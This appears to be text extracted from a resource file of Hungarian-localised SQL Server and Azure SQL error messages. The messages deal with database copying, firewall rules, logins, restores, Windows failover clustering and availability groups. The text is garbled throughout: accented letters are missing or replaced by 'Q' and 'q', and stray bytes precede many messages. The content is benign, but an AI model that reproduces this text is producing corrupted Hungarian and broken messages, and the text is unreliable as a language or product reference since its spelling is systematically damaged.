Az adatbzis msolsa sikertelen volt. Vagy a forrs-, vagy a cladatbzis nem ltezik.

Az adatbzis msolsa sikertelen volt. A forrsadatbzis el lett dobva.

Az adatbzis msolsa sikertelen volt. A cladatbzis el lett dobva.

8Az adatbzis msolsa sikertelen volt. Az adatbzis msolsa belsQ hiba miatt sikertelen volt. Dobja el a cladatbzist, s prblja meg jbl.</value>

`Az adatbzis msolsa sikertelen volt. Ugyanarrl a forrsrl egyidejqleg legfeljebb 1 adatbzis-msolat kszlhet. Dobja el a cladatbzist, s ksQbb prblja meg jbl.

Az adatbzis msolsa belsQ hiba miatt sikertelen volt. Dobja el a cladatbzist, s prblja meg jbl.

Az adatbzis msolsa belsQ hiba miatt sikertelen volt. Dobja el a cladatbzist, s prblja meg jbl.

,Az adatbzis msolsa sikertelen volt. Vagy a forrs-, vagy a cladatbzis elrhetetlenn vlt. Dobja el a cladatbzist, s prblja meg jbl.

Az adatbzis msolsa sikertelen volt. A cladatbzis elrhetetlenn vlt. Dobja el a cladatbzist, s prblja meg jbl.

Az adatbzis msolsa belsQ hiba miatt sikertelen volt. Dobja el a cladatbzist, s ksQbb prblja meg jbl.

Az adatbzis msolsa belsQ hiba miatt sikertelen volt. Dobja el a cladatbzist, s ksQbb prblja meg jbl.

Nem szerezhetQ elsQdleges partcizrols a CloudDB automatikus partcifrisstshez.

Nem frissthetQk a CloudDB automatikus partcik a(z)  %1!s!  adatbzisban, mert a fizikai adatbzis csak olvashat.

tA rendszerszintq trolt eljrsokra, kiszolgli hatkrq katalgusnzetekre s kibQvtett trolt eljrsokra vonatkoz engedlyek nem mdosthatk az SQL Server jelen verzijban.

A kvetkezQ adattpus sszevont adatbzisban nem tmogatott:  %1!s! .

Tblra vonatkoz DDL-utasts nem ideiglenes tbln val vgrehajtsa szqrt kapcsolaton keresztl nem tmogatott.

A kvetkezQ megkts sszevont adatbzisban nem tmogatott:  %1!s! .

A kvetkezQ utasts vgrehajtsa szqrt kapcsolaton keresztl nem tmogatott:  %1!s! .

A DML-utastsok nem sszevont tblkon val vgrehajtsa szqrt kapcsolaton keresztl nem tmogatott.

A kvetkezQ utasts vgrehajtsa sszevont adatbzisban nem tmogatott:  %1!s! .

A logikailag szqrt msodlagos pldnyok csak akkor tmogatottak, ha a msodlagos pldny egy tovbbt.

Egy adatbzis sszevonsi tagi metaadatai nem mdosthatk, ha csatolva vannak logikailag szqrt msodlagos pldnyok (fut a feloszts).

Nem ltezik sszevonsi tag a megadott tagazonostval s sszevonsi gykrrel.

A Gpm jjptse folyamatban van, ezrt az nem rhetQ el, mert mg nem konzisztens.

pMr ltezik kiszolgli rendszergazda felhasznl.

A bejelentkezs ltrehozsa sikertelen volt. KsQbb prblja meg jbl.

Az eljrs nem hajthat vgre, mert az aktulis felhasznl nem tjr.

A(z) %1!s! nem lehetsges, mert meghaladn a kiszolgl kvtjt.

Adatbzisok nem csatolhatk az SQL Server jelen verzijban.

A Windows-bejelentkezsek nem tmogatottak az SQL Server jelen verzijban.

`A kvetkezQ nem rvnyes IPv4-cm:  %1!s! .

A(z)  %1!s!  kezdetq IP-cm tl hossz. A maximlis hossz %2!s!. 

A kiszolglkon legfeljebb 128 tqzfalszably definilhat.

Egy specilis eljrs lett vgrehajtva egy siln, amely nem frissthetQ, hogy tartalmazza a tqzfalobjektumokat.

A kvetkezQ kiszolgln levQ  %1!s!  adatbzis jelenleg nem rhetQ el:  %2!s! . KsQbb prbljon jbl kapcsoldni. Ha a problma tartsan fennll, forduljon az gyflszolglathoz, s adja meg nekik a munkamenet nyomkvetsi azonostjt:  %3!s! .

A tqzfalszably kezdQ IP-cme nem lehet nagyobb a befejezQ IP-cmnl.

pNem nyithat meg a bejelentkezs ltal krt  %1!s!  kiszolgl. A kvetkezQ IP-cmq gyfl szmra nem engedlyezett a kiszolgl elrse:  %2!s! . A hozzfrs engedlyezshez hasznlja az SQL Azure Portal webhelyet, vagy az sp_set_firewall_rule trolt eljrsnak a fQadatbzison val futtatsval hozzon ltre egy tqzfalszablyt ehhez az IP-cmhez vagy -cmtartomnyhoz. A mdosts rvnyre jutsa akr t percet is ignybe vehet.

A kvetkezQ nem rvnyes bejelentkezsi nv az SQL Server jelen verzijban:  %1!s! .

A(z)  %1!s!  kezdetq tqzfalszablynv tl hossz. A maximlis hossz %2!s!. 

TA tqzfalszably neve nem lehet res. 

A(z)  %1!s!  kiads nem tmogatja az adatbzis maximlis  %2!s!GB  mrett.

|A kvetkezQ felhasznl bejelentkezse sikertelen volt:  %1!s! . A jelsz mdostsa sikertelen volt. A bejelentkezskori jelszmdosts nem tmogatott az SQL Server jelen verzijban.

(metrikus tpus

(metrikus adatok

Az jbli hitelests sikertelen volt a kvetkezQ bejelentkezshez:  %1!s! . A bejelentkezs rvnytelenn vlt a legutbbi jrahitelestsi intervallumban jelszmdosts, eldobott bejelentkezs vagy ms ok miatt. Prbljon jbl bejelentkezni.

A mqvelet vgrehajtsa nem engedlyezett, mert a kvetkezQ kiszolgl le van tiltva:  %1!s! .

Az SQL Azure rendszerq kiszolglk s adatbzisok kiptse (ltrehozsa, mdostsa vagy eldobsa) jelenleg le van tiltva. Ez leggyakrabban rendszerkarbantarts sorn fordul elQ rvid idQszakokra.

Folyamatban van az ALTER DATABASE parancs vgrehajtsa. Vrjon legalbb t percet a(z)  %1!s!  adatbzisba val bejelentkezs elQtt, hogy a parancs vgrehajtsa befejezQdjn. A parancs befejezQdsig egyes rendszerkatalgusok esetleg nem naprakszek. Ha mdostotta az adatbzis nevt, a jvQbeli tevkenysgekhez hasznlja az J adatbzisnevet.

4Folyamatban van a mqvelet vgrehajtsa a(z)  %1!s!  kiszolgln, a kvetkezQ adatbzison:  %2!s! . Az jbli prblkozs elQtt vrjon nhny percet.

A kvetkezQ adatbzis frisstse sikertelen volt, mert az adatbzis csak olvashat:  %1!s! . Forduljon az Azure szolgltats tulajdonoshoz. ElkpzelhetQ, hogy szmlzssal kapcsolatos problmk merltek fel fikjval kapcsolatban.

A kiads nem llapthat meg a kvetkezQ maxsize (maximlis mret) rtkbQl:  %1!s! . Adjon meg egy rvnyes maxsize rtket.

A jelsz rvnyestse sikertelen volt. A jelsz nem felel meg a hzirend kvetelmnyeinek, mert tl rvid.

A megadott jelsz tl hossz. A jelsz nem lehet hosszabb %1!s! karakternl.

A jelsz rvnyestse sikertelen volt. A jelsz nem felel meg a hzirend kvetelmnyeinek, mert tl egyszerq.

A kvetkezQ nem rvnyes adatbzis-kiads az SQL Server jelen verzijban:  %1!s! .

|Ez a trolt eljrs csak a fQadatbzisban hajthat vgre.

A kvetkezQ IP-cmq gyfl tmenetileg blokkolva van:  %1!s! .

A fenntartott  %1!s!  adatbzisnv nem hasznlhat ebben a mqveletben.

dAz adatbzis-msols jelenleg le van tiltva.

rvnytelen elQfizets-azonost:  %1!s! . Az elQfizets nem ltezik.

\A krelem nem felel meg a smnak: %1!s!.

XA kiszolgl vratlan kivtelt szlelt.

DA megadott hely rvnytelen.

A kiszolgl jelenleg tlzottan elfoglalt. KsQbb prblja meg jbl.

lA megadott x-ms-version fejlcrtk rvnytelen.

Nem sikerlt engedlyezni a hozzfrst a megadott elQfizetshez.

pA(z)  %1!s!  kiszolglnv nem lehet res vagy null. A nv csak az  a   z  kisbetqket, a 0 9 szmokat s a ktQjelet tartalmazhatja. A ktQjel nem llhat a nv elejn vagy vgn.

XAz elQfizets-azonost nem lehet res.

A kvetkezQ kiszolgl nem tartozik a(z)  %1!s!  elQfizetshez:  %2!s! .

Tl sok krelmet hajtottak vgre. KsQbb prblja meg jbl.

rvnytelen tartalomtpus van megadva. Csak az application/xml tmogatott.

A kvetkezQ elQfizets nem ltezik, vagy nem ll kszen a mqveletre:  %1!s! .

A kiszolgl ltrehozsa sikertelen volt, mert a kvetkezQ elQfizets le van tiltva:  %1!s! .

Nem hozhat ltre vagy helyezhetQ t kiszolgl. A kvetkezQ elQfizets meghaladja majd a kiszolgli kvtt:  %1!s! .

Nem tallhat a visszallthat  %1!s!  adatbzis a kvetkezQ idQpontban:  %2!s! .

XA megadott  %1!s!  alrgi rvnytelen.

`A  master  adatbzis nem llthat vissza.

Tllptk az egyidejq visszalltsok maximlis szmra vonatkoz kvtt.

lA visszallts nincs engedlyezve a kiszolgln.

tTllptk a visszalltsok szmra vonatkoz kvtt.

Az adatbzis visszalltsa sikertelen volt, mert eltelt a visszallts feldolgozsra engedlyezett maximlis idQtartam.

Az adatbzis visszalltsa sikertelen volt. A kvetkezQ nyomkvetsi azonostt rendeltk ehhez a krelemhez:  %1!s! . Ha segtsgre van szksge, adja meg ezt a nyomkvetsi azonostt az gyflszolglatnak.

lEgy rendszergazda megszaktotta a visszalltst.

BelsQ hiba trtnt a visszalltsi krelem feldolgozsakor. A kvetkezQ nyomkvetsi azonostt rendeltk ehhez a krelemhez:  %1!s! . Ha segtsgre van szksge, adja meg ezt a nyomkvetsi azonostt az gyflszolglatnak.

Folyamatban van a(z)  %1!s!  adatbzis visszalltsa, ezrt az adatbzis nem dobhat el. Vrja meg a visszallts befejezQdst.

PA  master  adatbzis nem msolhat.

lA kvetkezQ nem egy tmogatott rendezs:  %1!s! .

A kvetkezQ egy csak Unicode-alap rendezs, s nem lehet egy adatbzis alaprtelmezett rendezse:  %1!s! .

Egy LOGIN megadsa nem engedlyezett egy sszevonsi tagban.

A(z)  %1!s!  nem rvnyes felhasznlnv, vagy nnek nincs engedlye.

rvnytelen a szablyok megadsra hasznlt XML formtum. %1!s!.

dAz XML-szablyok rtelmezse sikertelen volt.

|rvnytelen  %1!s!  attribtumnv a kvetkezQben: %2!s!.

prvnytelen  %1!s!  elemnv a kvetkezQben: %2!s!.

xrvnytelen  %1!s!  funkcitpus a kvetkezQben: %2!s!.

dA kvetkezQ funkcinv nem ltezik:  %1!s! .

trvnytelen  %1!s!  indexrtk a kvetkezQben: %2!s!.

|rvnytelen  %1!s!  paramterszm a kvetkezQben: %2!s!.

pHinyz opertor attribtum a kvetkezQben: %1!s!.

dA kvetkezQ szablynv nem ltezik:  %1!s! .

D%1!s! rvnytelen hasznlata.

rvnytelen rtkek vannak megadva a <parameter> elemhez a kvetkezQben: %1!s!.

0Nincs elg memria.

|rvnytelen  %1!s!  opertortpus a kvetkezQben: %2!s!.

xrvnytelen  %1!s!  bemenettpus a kvetkezQben: %2!s!.

hHinyz index attribtum a kvetkezQben: %1!s!.

Az inputtype, isnull s format attribtumok egyikt meg kell adni a kvetkezQben: %1!s!.

Nem sikerlt %1!s! zrolst szerezni a(z) %2!s! szablyokhoz.

dA kvetkezQ szablynv mr ltezik:  %1!s! .

Csak az inputtype, isnull s format attribtumok egyikt lehet megadni a kvetkezQben: %1!s!.

pA processzor-gyorsttr kirtse sikertelen volt.

xA szably neve legfeljebb %1!s! karakter hossz lehet.

Vratlan opertor attribtum tallhat a kvetkezQben: %1!s!.

A helyi Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) lerjnak megszerzse sikertelen volt (hibakd: %1!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

$A helyi szmtgpnv megszerzse sikertelen volt (hibakd: %1!s!). Esetleg tl kicsi a megadott puffer, vagy rendszerhiba trtnt. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

A helyi Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) csompont lerjnak megszerzse sikertelen volt (hibakd: %1!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

A helyi Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) csompont azonostjnak megszerzse sikertelen volt (hibakd: %1!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

A helyi Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) csoportler megszerzse sikertelen volt a(z)  %1!s!  nevq vagy azonostj frtcsoporthoz (hibakd: %2!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelen a megadott frtcsoportnv vagy -azonost. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

A helyi Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) erQforrs-ler megszerzse sikertelen volt a(z)  %1!s!  nevq vagy azonostj frterQforrshoz (hibakd: %2!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelen a megadott frterQforrsnv vagy -azonost. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

dA(z)  %1!s!  nevq Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) csoport ltrehozsa sikertelen volt (hibakd: %2!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelen a megadott frtcsoportnv. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

TA Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) csoportvezrlQ API a kvetkezQ hibakdot adta vissza: %1!s!. Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelenek a megadott argumentumok. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

A(z)  %1!s!  nevq s  %2!s!  tpus Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) erQforrs ltrehozsa sikertelen volt (hibakd: %3!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelen a megadott frterQforrsnv vagy -tpus. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

XA Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) erQforrs-vezrlQ API a kvetkezQ hibakdot adta vissza: %1!s!. Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelenek a megadott argumentumok. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

`A Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) csoport online llapotba lltsa sikertelen volt (hibakd: %1!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelen a megadott frtcsoportnv. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

dA Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) csoport offline llapotba lltsa sikertelen volt (hibakd: %1!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelen a megadott frtcsoportnv. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

XA Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) csompontvezrlQ API a kvetkezQ hibakdot adta vissza: %1!s!. Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelenek a megadott argumentumok. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

A Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) erQforrs szmbavteli lerjnak megszerzse sikertelen volt (hibakd: %1!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelen a megadott frterQforrs-ler. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

tA Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) erQforrsok szmbavtele sikertelen volt (hibakd: %1!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelen a megadott frterQforrs-szmbavteli ler. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

dA Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) csompont lerjnak megszerzse sikertelen volt (hibakd: %1!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelen a megadott frtcsompontnv. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

Nem sikerlt eltvoltani egy csompontot egy Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) erQforrs lehetsges tulajdonosainak listjrl (hibakd: %1!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelen a megadott frterQforrs vagy csompont lerja. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

Nem sikerlt felvenni egy csompontot egy Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) erQforrs lehetsges tulajdonosainak listjra (hibakd: %1!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelen a megadott frterQforrs vagy csompont lerja. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

Nem sikerlt thelyezni egy Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) csoportot a helyi csompontra (hibakd: %1!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelen a megadott frtcsoport vagy csompont lerja. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

A(z)  %1!s!  nevq vagy azonostj Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) csoport eldobsa sikertelen volt (hibakd: %2!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelen a megadott frtcsoportnv vagy -azonost. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

Nem tallhat a(z)  %2!s!  nevq vagy azonostj Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) erQforrs egyik String tpus tulajdonsga (tulajdonsg neve:  %1!s! , hibakd: %3!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelenek a megadott argumentumok. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

Nem tallhat a(z)  %2!s!  azonostj Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) erQforrs egyik DWORD tpus tulajdonsga (tulajdonsg neve:  %1!s! , hibakd: %3!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelenek a megadott argumentumok. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

Nem sikerlt ltrehozni Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) rtestsi portot %1!s! rtestsi szqrQvel s %2!s! rtestsi kulccsal (hibakd: %3!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelenek a megadott argumentumok. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

4A Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) vltozsler rvnytelen, mert a WSFC rtestsi port mg nem lett ltrehozva, vagy be lett zrva. Hozzon ltre j WSFC rtestsi portot, majd prblja jbl elvgezni a mqveletet.

Nem sikerlt bejegyezni tovbbi Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) vltozsi rtestseket %1!s! rtestsi szqrQvel s %2!s! rtestsi kulccsal (hibakd: %3!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelenek a megadott argumentumok. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

\A Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) vltozsi rtestsek fogadsa sikertelen volt (hibakd: %1!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelenek a megadott argumentumok. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

A Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) vltozsfigyelQ indtsa sikertelen volt (SQLOS-hibakd: %1!s!). Az SQL Server esetleg nem rendelkezik elegendQ erQforrssal a WSFC vltozsfigyelQjnek elindtshoz. Ha ez az llapot tartsan fennll, akkor esetleg jra kell indtani az SQL Server-pldnyt.

|A Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) belltsjegyzkbeli gykrkulcsnak megnyitsa sikertelen volt (hibakd: %1!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelenek a megadott argumentumok. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

|A Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) erQforrs  %1!s!  belltskulcsnak megnyitsa sikertelen volt (hibakd: %2!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelenek a megadott argumentumok. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

$A Windows Server feladattvteli frtszolgltats belltsjegyzkbeli  %1!s!  alkulcsnak megnyitsa sikertelen volt (hibakd: %2!s!). A szlQkulcs %3!s!a frt gykrkulcsa. Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelenek a megadott argumentumok. Ha a megfelelQ rendelkezsre lltsi csoport el lett dobva, akkor ez a hiba vrhat. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

A Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) belltsjegyzkbeli  %1!s!  alkulcsnak ltrehozsa sikertelen volt (hibakd: %2!s!). A szlQkulcs %3!s!a frt gykrkulcsa. Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelenek a megadott argumentumok. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

A Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) belltsjegyzkbeli  %1!s!  alkulcsnak trlse sikertelen volt (hibakd: %2!s!). A szlQkulcs %3!s!a frt gykrkulcsa. Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelenek a megadott argumentumok. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

A Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC)  %1!s!  nvnek megfelelQ belltsrtknek beolvassa sikertelen volt (hibakd: %2!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelenek a megadott argumentumok. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

A Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC)  %1!s!  nvnek megfelelQ belltsrtknek belltsa sikertelen volt (hibakd: %2!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelenek a megadott argumentumok. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

\A Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) belltsrtknek szmbavtele sikertelen volt (hibakd: %1!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelenek a megadott argumentumok. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

A Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC)  %1!s!  nvnek megfelelQ belltsrtknek trlse sikertelen volt (hibakd: %2!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelenek a megadott argumentumok. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

Nem sikerlt Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) objektum-szmbavteli lert szerezni a(z) %1!s! tpus objektumokhoz (hibakd: %2!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelenek a megadott argumentumok. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

pA Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) objektumok szmbavtele sikertelen volt (hibakd: %1!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelen a megadott frtobjektum-szmbavteli ler. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

Mr ltezik rendelkezsre llsi csoportrl kszlt msodpldny a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC)  %1!s!  csompontjn. Mindegyik WSFC-csompont csak egy msodpldnyt tartalmazhat valamely rendelkezsre llsi csoportrl. Vlasszon msik WSFC-csompontot az j msodpldny futtatshoz.

A rendelkezsre llsi csoport  %1!s!  msodpldnynak eltvoltsa sikertelen a kvetkezQ rendelkezsre llsi csoportbl:  %2!s! . A rendelkezsre llsi csoport nem tartalmaz msodpldnyt a megadott nven. GyQzQdjn meg a rendelkezsre llsi csoport s a msodpldny nevnek helyessgrQl, majd prblja jbl elvgezni a mqveletet.

|Nem tallhat az SQL Server-pldnyt a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) csompontjra lekpezQ bejegyzs az SQL Server  %1!s!  pldnyhoz s a(z)  %2!s!  azonostj WSFC-csoporthoz. A megadott SQL Server-pldnynv rvnytelen, vagy nem ltezik az annak megfelelQ belltsbejegyzs. GyQzQdjn meg az SQL Server-pldnynv helyessgrQl, majd prblja jbl elvgezni a mqveletet.

A kvetkezQ rendelkezsre llsi csoport mr ltezik:  %1!s! . Ezt a hibt okozhatja egy korbbi, sikertelen CREATE AVAILABILITY GROUP vagy DROP AVAILABILITY GROUP mqvelet. Ha a rendelkezsre llsi csoport megadott neve helyes, akkor prblja eldobni a rendelkezsre llsi csoportot, majd megismtelni a CREATE AVAILABILITY GROUP mqveletet.

A nevet az azonostra lekpezQ bejegyzs rtke rvnytelen a kvetkezQ rendelkezsre llsi csoportnl:  %1!s! . A binris rtknek tartalmaznia kell egy Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) erQforrs-azonostt, egy WSFC-csoportazonostt, valamint ezek hosszt karakterben megadva. Esetleg helytelen a rendelkezsre llsi csoport neve, vagy srltek a rendelkezsre llsi csoport konfigurcis adatai. Ha ez a hiba tartsan fennll, akkor esetleg el kell dobnia, s jbl ltre kell hoznia a rendelkezsre llsi csoportot.

